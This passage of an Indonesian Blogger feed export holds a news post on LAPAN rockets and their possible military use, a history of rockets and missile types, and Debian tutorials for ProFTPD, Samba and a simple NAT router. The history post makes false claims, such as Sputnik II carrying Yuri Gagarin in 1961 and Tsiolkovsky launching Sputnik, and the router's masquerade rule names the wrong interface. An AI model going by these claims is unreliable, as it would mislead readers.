roket untuk keperluan sipil. Nantinya roket-roket buatan Lapan tersebut akan digunakan sebagai penunjang dalam mengorbitkan satelit milik Indonesia.&lt;br /&gt;&lt;br /&gt;“Kapasitas roket buatan Lapan memang untuk keperluan sipil. Jadi kami fokus dalam membuat roket untuk mengorbitkan satelit,”tandasnya. Meski demikian, teknologi roket yang dibuat Lapan ini sudah bisa dikembangkan untuk membuat senjata pelindung alutsista. Jika Departemen Pertahanan (Dephan) mau mengadopsi teknologi yang dimiliki Lapan sebagai roket berhulu ledak, bukan tidak mungkin Indonesia akan menjadi satu kekuatan yang ditakuti oleh bangsa-bangsa lain.&lt;br /&gt;&lt;br /&gt;Soewarto sendiri secara terbuka menerima jika Dephan ingin bekerja sama mengembangkan dalam pembuatan rudal balistik dengan jangkauan yang lebih jauh.Untuk saat ini,sesuai dengan tugasnya, Lapan hanya membuat roket untuk keperluan sipil.Teknologi roket yang dikembangkan Lapan, pada dasarnya merupakan dual use, di mana bisa dipakai untuk keperluan sipil maupun militer.&lt;br /&gt;&lt;br /&gt;Namun, Lapan sendiri hanya mengembangkan roket untuk keperluan sipil karena sesuai dengan kewenangannya. Sementara itu, jika untuk keperluan militer diserahkan kepada Dephan. “Kami memang pernah bekerja sama membuat roket kaliber 122 untuk TNI AL, tapi kewenangan dari Lapan sejatinya bukan itu. Kami hanya mengembangkan roket pendorong untuk satelit.Untuk keperluan militer, biar Dephan yang bicara,”paparnya.&lt;br /&gt;&lt;br /&gt;Jika saja Lapan dan Dephan bersinergi membuat rudal balistik memakai RX520, bukan tidak mustahil rudal tersebut mampu menjadi senjata yang takuti. Dengan daya jelajah mencapai 200 km,senjata balistik ini akan mampu melindungi pulau-pulau di Indonesia.Bahkan jika peluncuran di lakukan di Batam, bukan tidak mustahil bisa menembus hingga Malaysia dan Singapura. Ketua Pokja Pertahanan Komisi I DPR Tubagus Hasanuddin mengatakan Indonesia memang sudah saatnya memiliki rudal berhulu ledak buatan sendiri.&lt;br /&gt;&lt;br /&gt;Teknologi yang dimiliki Lapan, sudah bisa dipakai untuk membuat rudal balistik jarak menengah.“Indonesia harus mandiri. Dephan harus bekerja sama dengan Lapan membuat rudal berhulu ledak,”tuturnya. Tubagus mengatakan, keberhasilan Lapan menguji coba roketroketnya membuat Indonesia semakin ditakuti. Roket buatan Lapan tinggal dibekali hulu ledak di ujungnya dan menciptakan direksi untuk mengarahkan koordinat sasaran.&lt;br /&gt;&lt;br /&gt;“Sebagai negara kepulauan,tentu dibutuhkan rudal yang mampu melindungi pulau - pulau tersebut dari serangan musuh,” lanjutnya. Roket buatan Lapan merupakan teknologi hasil ciptaan ilmuwan Indonesia. Lapan bahkan menciptakan bahan bakar racikan ilmuwan Indonesia yang tak kalah dibanding buatan ilmuwan luar negeri. Bahan bakar racikan ilmuwan Lapan tersebut bahkan telah diuji coba di rudal exocet TNI yang tak terpakai. Hasilnya, kecepatan rudal menjadi 2 kali lipat dibanding kecepatan dengan menggunakan bahan bakar rudal asal Prancis.&lt;br /&gt;&lt;br /&gt;Amunisi Kaliber Besar&lt;br /&gt;&lt;br /&gt;Sementara itu,PT Pindad sudah menguasai teknologi untuk amunisi kaliber kecil.Tahuntahun mendatang, PT Pindad akan mengembangkan amunisi kaliber besar. Menurut juru bicara PT Pindad Timbul Sitompul, amunisi kaliber 20 mm dan kaliber 120 mm telah dilakukan pengembangannya pada tahun 2009 ini.Kemudian pada 2010, PT Pindad merencanakan akan memproduksi amunisi kaliber 105 mm.&lt;br /&gt;&lt;br /&gt;Selanjutnya pada 2011, akan dikembangkan warhead dan rudal dengan mode proximity fuse. Proximity fuse menyebabkan kepala rudal akan meledak pada jarak yang telah ditentukan dari target. Teknologi proximity fuse ini menggunakan kombinasi dari satu atau beberapa sensor di antaranya radar, sonar aktif, infra merah, magnet, foto elektrik.Tidak hanya itu,PT Pindad juga merencanakan akan memproduksi rudal darat pada tahun 2012 mendatang.(Sumber : Sindo)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-6614574731794114005?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6614574731794114005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/6614574731794114005'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/peluncuran-roket-rx420-produk-lapan.html' title='Peluncuran Roket RX420 Produk LAPAN'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5020230739896656848</id><published>2010-11-17T23:21:00.000-08:00</published><updated>2010-11-17T23:26:17.099-08:00</updated><title type='text'>Teknologi Roket</title><content type='html'>Roket sudah terkenal sejak zaman masa Tiongkok kuno dulu sebagai mercon untuk tujuan seremonial dan senjata. Belakangan mercon yang dikembangkan menjadi roket dijadikan sarana untuk membawa muatan dengan tujuan perang maupun damai. Bangsa Cina menciptakan mercon yang mampu melesat ke udara hingga membentuk kembang api raksasa di angkasa. Mercon menjadi bagian dari sarana seremonial keagamaan bangsa tersebut sejak zaman dahulu. Pada masa perang, mercon berubah fungsi menjadi sarana peluncur panah api, seperti yang digunakan oleh bala tentara tentara China atau Chin Tartar untuk menghalau serangan bangsa Mongolia yang dipimpin Kai Feng Fu pada tahun 1232&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Kemudian lewat jalur pedagangan, pengetahuan tentang pembuatan mercon itu sampai ke India. Ketika negara India dijajah Inggris, teknologi senjata inipun berpindah tangan. Ditangan bangsa barat mercon dikembangkan jadi roket melalui serangkaian penelitian selama lima abad yaitu sejak abad ke13 sampai ke-18.Nama-nama ilmuan barat yang mempunyai andil cukup nyata dalam perkembangan roket diantaranya adalah Robert Anderson. Ilmuan Inggris ini pada tahun 1696 membuat cetakan roket dan campuran bahan bakar Roket disebut propelan dengan kalkulasi yang cermat. Ilmuan Inggris lainnya mengembangkan roket yang mampu melesat ke angkasa sejauh 274 kilometer lebih.Kemudian di tangan bangsa Jerman, yang dimotori Hermann Oberth dan Wernher von Braun, roket menjadi senjata ampuh sebagai peluru kendali disebut Roket V-2 (Vergelstungswaffe Zwei) yang digunakan pada perang dunia II.&lt;br /&gt;&lt;br /&gt;Gambar Roket V-2 yang digunakan Jerman pada PD II&lt;br /&gt;Pasca-PD II dengan takluknya Jerman dan sekutunya, teknologi roket ini diboyong ke Uni Soviet dan Amerika Serikat. Ditangan Konstantin Tsiolkovsky, Uni Soviet kemudian berhasil meluncurkan roket pembawa satelit Sputnik ke orbit di ruang angkasa pada 4 Oktober 1957.Satelit itu menyerupai bola basket berbobot sekitar 90 kilogram mengorbit bumi dalam waktu 98 menit. Keberadaanya diketahui masyarakat dunia lewat pancaran sinyal radio yang dipasang di wahana tersebut.Peluncuran ini menandai Tahun Geofisika International yang dimulai 1 Juli 1957 hingga 31 Desember 1958, dengan target yang ditetapkan International Council of Scientifitic bahwa pada tahun itu satelit sudah dapat diluncurkan untuk memetakan bumi.Keberhasilan peluncuran satelit untuk pertama kali itu disusul peluncuran roket yang membawa Sputnik II wahana ruang angkasa berawak.wahana yang diluncurkan pada tahun 1961 membawa kosmonot Yuri Gagarin. Tak mau kalah dengan seterunya Uni Sovyet, Amerika Serikat kemudian menyusul dengan meluncurkan dan mengirim Apollo ke Bulan Gambar Yuri Gagarin manusia pertama ke ruang angkasa dari Rusia&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gambar Roket Saturnus V yang membawa pesawat Ruang angkasa Apollo 11, yang mencatat sejarah dengan awaknya bernama Neil Amstrong paling kiri, Michel Collins di tengah dan Edwin Aldrin paling kanan yang menginjakkan kakinya untuk pertama ke Bulan.&lt;br /&gt;&lt;br /&gt;Perbedaan Roket dan Peluru Kendali&lt;br /&gt;Peluru kendali (disingkat: rudal), peluru berpandu atau misil adalah senjata roket militer yang bisa dikendalikan atau memiliki sistem pengendali otomatis untuk mencari target atau menyesuaikan arah. Dalam penggunaan sehari-hari, istilah "misil" merujuk kepada roket dengan sistem kendali, sedangkan "roket" digunakan untuk roket tanpa sistem kendali. Perbedaan utama di antara dianggap sangat sedikit selain perbedaan sistem kendali.Peluru kendali pertama digunakan dalam sebuah operasi adalah peluru kendali Jerman dalam Perang Dunia II. Yang paling terkenal adalah V-1 dan V-2, keduanya menggunakan sistem autopilot sederhana untuk menjaga arah terbang peluru agar tetap pada yang rute telah ditentukan sebelumnya.&lt;br /&gt;Peluru kendali balistik adalah peluru kendali yang memakai lintasan trayektori yang ditentukan oleh balistik dalam sistem pengirimannya. Peluru kendali ini hanya dikendalikan dalam masa peluncuran saja. Peluru kendali balistik yang pertama adalah roket V-2 yang dikembangkan oleh Nazi Jerman pada 1930-an dan 1940-an atas instruksi dari Walter Dornberger. Peluru kendali balistik dapat diluncurkan dari lokasi tetap seperti silo misil, kendaraan peluncur, pesawat, kapal atau kapal selam. Tahap peluncuran dapat berlangsung dari puluhan detik sampai beberapa menit dan dapat terdiri sampai dengan tiga tingkat roket. Trayektori rudal balistik terdiri dari tiga tahap yaitu tahap peluncuran, tahap terbang bebas dan fase memasuki kembali atmosfir Bumi.Peluru kendali jelajahPeluru kendali jelajah adalah peluru kendali yang memakai sayap dan menggunakan jet sebagai tenaga penggerak. Peluru kendali jelajah intinya adalah bom terbang. Peluru kendali jelajah dirancang untuk membawa hulu ledak konvensional dalam jumlah besar atau nuklir dan dapat menjangkau ratusan mil dengan tingkat akurasi tinggi. Peluru kendali jelajah modern dapat terbang mencapai kecepatan supersonik atau di atas subsonik, menggunakan sistem kendali otomatis dan terbang pada ketinggian rendah untuk menghindari radar. Rudal jelajah pertama yang dikembangkan adalah Kettering Bug yang dikembangkan oleh Amerika Serikat pada 1917 untuk digunakan dalam Perang Dunia I. Rudal ini terbang lurus untuk waktu yang telah ditentukan sebelumnya kemudian sayapnya akan dilepaskan untuk kemudian badan rudal yang mengandung hulu ledak jatuh menghujam tanah. Rudal ini tidak pernah digunakan dalam perang karena Perang Dunia I selesai sebelum rudal ini dapat digunakan. Rudal jenis ini yang terkenal antara lain adalah BGM-109 Tomahawk AS yang dapat mencapai jangkauan 1.100 km.&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-kapal Sebuah RGM 84 Harpoon ditembakkan dari fregat USS Badger (FF-1071).&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-kapal adalah rudal yang fungsi utamanya adalah untuk menghancurkan kapal permukaan. Kebanyakan rudal anti-kapal menggunakan sistem pemandu inersial dan pelacak radar aktif. Rudal anti-kapal adalah salah satu dari sekian rudal jarak pendek yang digunakan dalam Perang Dunia II. Jerman menggunakannya untuk menenggalamkan banyak kapal sekutu sebelum pihak sekutu menemukan cara untuk mengatasinya (prinsipnya dengan radio jamming). Rudal anti-kapal dapat diluncurkan dari kapal, kapal selam, pesawat, helikopter dan kendaraan darat. Rudal anti-kapal yang terkenal dalam sejarah adalah rudal Jerman, Fritz X dan Henschel Hs 293.Contoh peluru kendali anti kapal : Boeing Harpoon (USA) - 221 kg warhead, 93-315 km range depending on platform  C-802/YJ-82 CSS-N-8 'Saccade' (China) - 165 kg warhead, 500+ km range  Exocet (France) - 165 kg warhead, 70-180 km range  RBS-15 (Sweden) - 200 kg warhead, 200 km range  Sea Eagle (UK) - 230 kg warhead, 110+ km range  Kh-35 (Rusia) - 1645 kg warhead, 130 km range.&lt;br /&gt;&lt;br /&gt;Peluru kendali darat ke udara&lt;br /&gt;&lt;br /&gt;Peluru kendali darat ke udara adalah peluru kendali yang diluncurkan dari darat untuk menghancurkan pesawat. Istilah terkenal untuk rudal jenis ini adalah SAM yang merupakan singkatan dari rudal darat ke udara dalam bahasa Inggris yaitu suface-to-air missile. Rudal darat ke udara dapat diluncurkan dari lokasi tetap atau kendaraan peluncur. SAM terkecil yang dikembangkan oleh Uni Soviet dapat dibawa dan diluncurkan oleh seorang tentara. SAM juga dapat diluncurkan dari kapal, contoh dari jenis ini adalah Aegis.&lt;br /&gt;&lt;br /&gt;Peluru kendali udara ke udara&lt;br /&gt;&lt;br /&gt;Peluru kendali udara ke udara adalah rudal yang dipasang di pesawat terbang dengan target menghancurkan pesawat musuh. Rudal udara ke udara yang terkenal antara lain adalah AIM-9 Sidewinder buatan Amerika Serikat. Rudal jenis ini dapat mendeteksi target dengan menggunakan pelacak radar, inframerah atau laser. Rudal udara ke udara umumnya berbentuk panjang, silinder tipis untuk mengurangi efek gesekan pada kecepatan tinggi. Rudal ini umumnya digerakkan oleh satu atau lebih roket berbahan bakar padat atau cair. MBDA Meteor buatan Britania Raya menggunakan ramjet dan dapat mencapai kecepatan Mach 4.&lt;br /&gt;&lt;br /&gt;Peluru kendali portable anti-tank&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-tank adalah rudal yang fungsi utamanya untuk menghancurkan tank atau kendaraan lapis baja lainnya. Rudal anti-tank generasi pertama seperti AG-3 Sagger dikendalikan dengan menggunakan joystick. Rudal anti-tank generasi kedua seperti BGM-71 TOW dan AGM-114 Hellfire menggunakan radio, penanda laser atau kamera di ujung rudal. Rudal anti-tank generasi ketiga seperti FGM-148 Javelin buatan AS dan Nag buatan India adalah dari jenis "tembak dan lupakan". Nag menggunakan pelacak inframerah serta gelombang milimeter.&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-balistik Sebuah MIM-104 Patriot ditembakkan dari kendaraan peluncur.&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-balistik adalah peluru kendali dengan fungsi utama untuk menyergap dan menghancurkan peluru kendali balistik lawan. Rudal anti-balistik jarak pendek antara lain Arrow buatan Israel dan MIM-104 Patriot buatan AS. Sedangkan rudal anti-balistik yang dirancang untuk melawan ICBM sebelumnya hanya ada dua yaitu Safeguard AS yang menggunakan LIM-49A Spartan dan Sprint serta A-35 Rusia. A-35 kemudian dikembangkan menjadi A-135 yang menggunakan Gorgon dan Gazelle. Amerika Serikat kemudian mengembangkan Ground-Based Midcourse Defense.&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-satelit&lt;br /&gt;&lt;br /&gt;Peluru kendali anti-satelit adalah rudal yang memiliki fungsi untuk menghancurkan satelit buatan musuh. Rudal jenis ini antara lain adalah Anti-satellite weapons (ASAT) yang diluncurkan dari pesawat. Rudal jenis ini relatif masih dalam tahap pengembangan.&lt;br /&gt;Joint Direct Attack Munition (id:Mesiu Serangan Langsung Gabungan) JDAM adalah perlengkapan pemandu yang merubah bom gravitasi tak berpandu, atau "bom bodoh", menjadi mesiu "pandai" di segala cuaca. Perlengkapan JDAM bom adalah digunakan untuk memandu pada target dengan suatu sistem pemandu inersial terintegrasi yang dipasangkan sebuah penerima Global Positioning System (GPS) untuk menambah akurasi, memberikan daerah peluncuran lebih dari 15 nautikal mil (28 km) dari titik peluncuran.Varian JDAM : GBU-29 250-lb MK-81  GBU-30 500-lb MK-82  GBU-31 2000-lb MK-84 or BLU-109  GBU-32 1000-lb MK-83  GBU-35 1000-lb BLU-110  GBU-38 500-lb MK-82 Torpedo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Torpedo anti kapal permukaan&lt;br /&gt;Torpedo adalah proyektil berpenggerak sendiri yang diluncurkan dari atas permukaan atau di bawah permukaan air yang kemudian meluncur di bawah permukaan air, dirancang untuk meledak pada kontak atau jarak tertentu dengan target. Torpedo dapat diluncurkan dari kapal, kapal selam, helikopter, pesawat dan ranjau laut. Beberapa contoh torpedo modern antara lain MK 48 AS yang diluncurkan dari tabung torpedo kapal selam dan menggunakan sonar pasif atau aktif, serta VA-111 Shkval buatan Rusia yang menggunakan efek superkavitasi dapat mencapai kecepatan 200 knot atau 370 km/jam. &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5020230739896656848?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5020230739896656848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5020230739896656848'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/teknologi-roket.html' title='Teknologi Roket'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-7505054416783485820</id><published>2010-11-14T18:06:00.000-08:00</published><updated>2010-11-14T18:08:25.805-08:00</updated><title type='text'>Setting FTP Server pada Debian</title><content type='html'>Oke, langsung dimulai saja….&lt;br /&gt;&lt;br /&gt;Jika anda terhubung internet maka anda bisa langsung menginstall lewat repository server yang ada&lt;br /&gt;&lt;br /&gt;#apt-get install proftpd&lt;br /&gt;&lt;br /&gt;atau jika anda ingin menginstall lewat tarball anda bisa download dulu&lt;br /&gt;#wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.2.10.tar.gz (atau yang terbaru)&lt;br /&gt;&lt;br /&gt;#tar xzvf proftpd-1.2.10.tar.gz&lt;br /&gt;&lt;br /&gt;lalu masuk ke direktori dimana flie tersebut diekstrak&lt;br /&gt;&lt;br /&gt;#cd proftpd-1.2.10.tar.gz&lt;br /&gt;&lt;br /&gt;lalu lakukan konfigurasi&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;#./configure&lt;br /&gt;#make&lt;br /&gt;#make install&lt;br /&gt;&lt;br /&gt;kemudian buat direktori untuk ftp&lt;br /&gt;#mkdir /home/ftp&lt;br /&gt;&lt;br /&gt;lalu lakukan folder permission untuk folder tersebut&lt;br /&gt;#chmod 755 -R /home/ftp&lt;br /&gt;&lt;br /&gt;tambahkan user untuk folder tersebut&lt;br /&gt;#useradd -d /home/ftp ftpuser&lt;br /&gt;&lt;br /&gt;untuk password user tersebut&lt;br /&gt;#passwd ftpuser&lt;br /&gt;(lalu masukkan password yagn anda inginkan)&lt;br /&gt;&lt;br /&gt;kemudian edit konfigurasi proftpd dengan text editor(gedit, nano, vi, dll.)&lt;br /&gt;#gedit /etc/proftpd/proftpd.conf&lt;br /&gt;&lt;br /&gt;lalu ubah menjadi&lt;br /&gt;&lt;br /&gt;# This is a basic ProFTPD configuration file (rename it to&lt;br /&gt;# ‘proftpd.conf’ for actual use. It establishes a single server&lt;br /&gt;# and a single anonymous login. It assumes that you have a user/group&lt;br /&gt;# “nobody” and “ftp” for normal operation and anon.&lt;br /&gt;&lt;br /&gt;ServerName “latihan”&lt;br /&gt;ServerType standalone&lt;br /&gt;DefaultServer on&lt;br /&gt;&lt;br /&gt;# Port 21 is the standard FTP port.&lt;br /&gt;Port 21&lt;br /&gt;# Umask 022 is a good standard umask to prevent new dirs and files&lt;br /&gt;# from being group and world writable.&lt;br /&gt;Umask 022&lt;br /&gt;&lt;br /&gt;# To prevent DoS attacks, set the maximum number of child processes&lt;br /&gt;# to 30. If you need to allow more than 30 concurrent connections&lt;br /&gt;# at once, simply increase this value. Note that this ONLY works&lt;br /&gt;# in standalone mode, in inetd mode you should use an inetd server&lt;br /&gt;# that allows you to limit maximum number of processes per service&lt;br /&gt;# (such as xinetd)&lt;br /&gt;MaxInstances 30&lt;br /&gt;&lt;br /&gt;# Set the user and group that the server normally runs at.&lt;br /&gt;User proftpd&lt;br /&gt;Group proftpd&lt;br /&gt;&lt;br /&gt;# Normally, we want files to be overwriteable.&lt;br /&gt;&lt;br /&gt;&lt;Directory /*&gt;&lt;br /&gt;&lt;br /&gt;AllowOverwrite on&lt;br /&gt;&lt;br /&gt;&lt;/Directory&gt;&lt;br /&gt;&lt;br /&gt;# A basic anonymous configuration, no upload directories.&lt;br /&gt;&lt;br /&gt;&lt;Anonymous /home/ftp&gt;&lt;br /&gt;&lt;br /&gt;# /home/ftp merupakan folder yang di share&lt;br /&gt;RequireValidShell off&lt;br /&gt;User ftp&lt;br /&gt;Group ftp&lt;br /&gt;# We want clients to be able to login with “anonymous” as well as “ftp”&lt;br /&gt;UserAlias anonymous ftp&lt;br /&gt;&lt;br /&gt;# Limit the maximum number of anonymous logins&lt;br /&gt;MaxClients 10&lt;br /&gt;&lt;br /&gt;# We want ‘welcome.msg’ displayed at login, and ‘.message’ displayed&lt;br /&gt;# in each newly chdired directory.&lt;br /&gt;DisplayLogin welcome.msg&lt;br /&gt;DisplayFirstChdir .message&lt;br /&gt;&lt;br /&gt;# Limit WRITE everywhere in the anonymous chroot&lt;br /&gt;&lt;br /&gt;&lt;Limit WRITE&gt;&lt;br /&gt;&lt;br /&gt;DenyAll&lt;br /&gt;&lt;br /&gt;&lt;/Limit&gt;&lt;br /&gt;&lt;br /&gt;&lt;/Anonymous&gt;&lt;br /&gt;&lt;br /&gt;lalu untuk memulai ftp server&lt;br /&gt;&lt;br /&gt;#/etc/init.d/proftpd start&lt;br /&gt;&lt;br /&gt;cek apakah ftp server sudah berjalan&lt;br /&gt;&lt;br /&gt;#ftp localhost&lt;br /&gt;&lt;br /&gt;atau buka browser anda lalu ketikkan di alamat url&lt;br /&gt;&lt;br /&gt;ftp://localhost &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7505054416783485820?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7505054416783485820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7505054416783485820'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/setting-proftpd-sebagai-ftp-server-pada.html' title='Setting FTP Server pada Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5378807298555505756</id><published>2010-11-14T17:36:00.001-08:00</published><updated>2010-11-14T17:36:37.237-08:00</updated><title type='text'>Konfigurasi Samba Server Pada Debian</title><content type='html'>Sudah lama tidak nge-post di blog ni, ya daripada kosong aku isi aja walau hanya dengan mini-howto (he he…), yang penting ada yang baru lah, biar tidak monoton…&lt;br /&gt;&lt;br /&gt;Berikut adalah konfigurasi tentang samba server di debian etch, terdapat banyak package debian yang digunakan untuk samba, tapi untuk toturial kali ini hanya akan membahas tentang package samba dan samba-client&lt;br /&gt;&lt;br /&gt;Installasi Samba&lt;br /&gt;&lt;br /&gt;      #apt-get install samba samba-client&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;akan muncul beberapa pertanyaan yang berhubungan dengan konfigurasi samba seperti workgroup dan dhcp server, jawab sesuai dengan jaringan anda.&lt;br /&gt;&lt;br /&gt;Menyiapkan User dan Directory&lt;br /&gt;Kita sediakan user dan directory yang akan digunakan untuk directory sharing dan otentikasi, Untuk membuat directory baru menggunakan perintah&lt;br /&gt;&lt;br /&gt;      #mkdir share&lt;br /&gt;&lt;br /&gt;Untuk membuat user baru sekaligus membuat passwordnya menggunakan perintah&lt;br /&gt;&lt;br /&gt;      #useradd lala&lt;br /&gt;      #smbpasswd -a lala&lt;br /&gt;&lt;br /&gt;Menkonfigurasi File Konfigurasi Samba&lt;br /&gt;File utama konfigurasi samba terletak pada /etc/samba/smb.conf. Konfigurasi file sharing Anda dengan menambahkan :&lt;br /&gt;&lt;br /&gt;      #vim /etc/samba/smb.conf[SHARE]&lt;br /&gt;      path=/home/vanfier/share&lt;br /&gt;      browseable=yes&lt;br /&gt;      writeable=yes&lt;br /&gt;      valid users=lala&lt;br /&gt;&lt;br /&gt;Test Konfigurasi&lt;br /&gt;Untuk pengecekan Samba bisa menggunakan perintah berikut :&lt;br /&gt;&lt;br /&gt;      # testparm&lt;br /&gt;      Load smb config files from /etc/samba/smb.conf&lt;br /&gt;      Processing section “[homes]“&lt;br /&gt;      Processing section “[SHARE]“&lt;br /&gt;      Processing section “[printers]“&lt;br /&gt;      Processing section “[print$]“&lt;br /&gt;      Loaded services file OK.&lt;br /&gt;      Server role: ROLE_STANDALONE&lt;br /&gt;      Press enter to see a dump of your service definitions&lt;br /&gt;&lt;br /&gt;Bila output Anda sama dengan diatas, maka konfigurasi Anda tidak terdapat error&lt;br /&gt;&lt;br /&gt;Sekarang restart samba untuk mendapatkan effect konfigurasi yang telah anda buat&lt;br /&gt;&lt;br /&gt;      #/etc/init.d/samba restart&lt;br /&gt;&lt;br /&gt;Untuk mengetahui lebih banyak tentang option konfigurasi samba, bisa dilihat dengan mengetikan&lt;br /&gt;&lt;br /&gt;      #man samba&lt;br /&gt;&lt;br /&gt;Testing Samba&lt;br /&gt;Untuk testing samba, dapat dilakukan pada terminal debian dengan menggunakan perintah berikut :&lt;br /&gt;&lt;br /&gt;      #smbclient -L //debianserver -U username&lt;br /&gt;&lt;br /&gt;Untuk di windows bisa menggunakan perintah run&lt;br /&gt;&lt;br /&gt;Semoga Bermanfaat. Suwun (Terima Kasih)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5378807298555505756?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5378807298555505756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5378807298555505756'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2010/11/konfigurasi-samba-server-pada-debian.html' title='Konfigurasi Samba Server Pada Debian'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-4990406295541090562</id><published>2010-11-12T19:28:00.000-08:00</published><updated>2010-11-12T19:29:22.856-08:00</updated><title type='text'>Setting Router Sederhana dengan Debian</title><content type='html'>langsung saja kita bahas tentang cara membuat PC router sederhana dengan menggunakan Linux Debian. untuk jenisnya saya tidak terlalu mempermasalahkan karena saya disini hanya membahas inti dari pada membuat PC Router alias Router Sederhana. berikut adalah langkah - langkahnya :&lt;br /&gt;&lt;br /&gt;Required :&lt;br /&gt;1 minimal 2 NIC(LAN CARD)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;langsung saja kita bahas tentang cara membuat PC router sederhana dengan menggunakan Linux Debian. untuk jenisnya saya tidak terlalu mempermasalahkan karena saya disini hanya membahas inti dari pada membuat PC Router alias Router Sederhana. berikut adalah langkah - langkahnya :&lt;br /&gt;&lt;br /&gt;Required :&lt;br /&gt;1 minimal 2 NIC(LAN CARD)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Detail :&lt;br /&gt;eth0 = ISP&lt;br /&gt;- IP : 192.168.1.5&lt;br /&gt;- Subnet : 255.255.255.0&lt;br /&gt;- gateway : 192.168.1.1&lt;br /&gt;- DNS : 202.3.34.2&lt;br /&gt;202.5.5.43&lt;br /&gt;&lt;br /&gt;eth1 = Client&lt;br /&gt;- IP : 192.168.2.1&lt;br /&gt;- Subnet : 255.255.255.0&lt;br /&gt;&lt;br /&gt;1. Install Debian&lt;br /&gt;2. Beri Ip Address pada setiap NIC/Lan Card.&lt;br /&gt;&lt;br /&gt;#nano /etc/network/interface&lt;br /&gt;auto eth0&lt;br /&gt;iface eth0 inet static&lt;br /&gt;address 192.168.1.5&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;gateway 192.168.1.1&lt;br /&gt;&lt;br /&gt;auto eth1&lt;br /&gt;iface eth1 inet static&lt;br /&gt;address 192.168.2.1&lt;br /&gt;netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;lalu Simpan&lt;br /&gt;&lt;br /&gt;3. setting DNS&lt;br /&gt;&lt;br /&gt;#nano /etc/resolv.conf&lt;br /&gt;nameserver 202.3.34.2&lt;br /&gt;nameserver 202.5.5.43&lt;br /&gt;&lt;br /&gt;lalu simpan&lt;br /&gt;&lt;br /&gt;4. Setting Iptables&lt;br /&gt;&lt;br /&gt;#nano /etc/network/options&lt;br /&gt;ip_forward = yes&lt;br /&gt;spoofprotect = yes&lt;br /&gt;syncookies = no&lt;br /&gt;&lt;br /&gt;lalu masukan rule iptables&lt;br /&gt;&lt;br /&gt;#iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;lalu simpan dengan perintah&lt;br /&gt;&lt;br /&gt;#iptables-save&lt;br /&gt;&lt;br /&gt;lalu ketikan&lt;br /&gt;&lt;br /&gt;#echo “1″&gt;/proc/sys/net/ipv4/ip_forward&lt;br 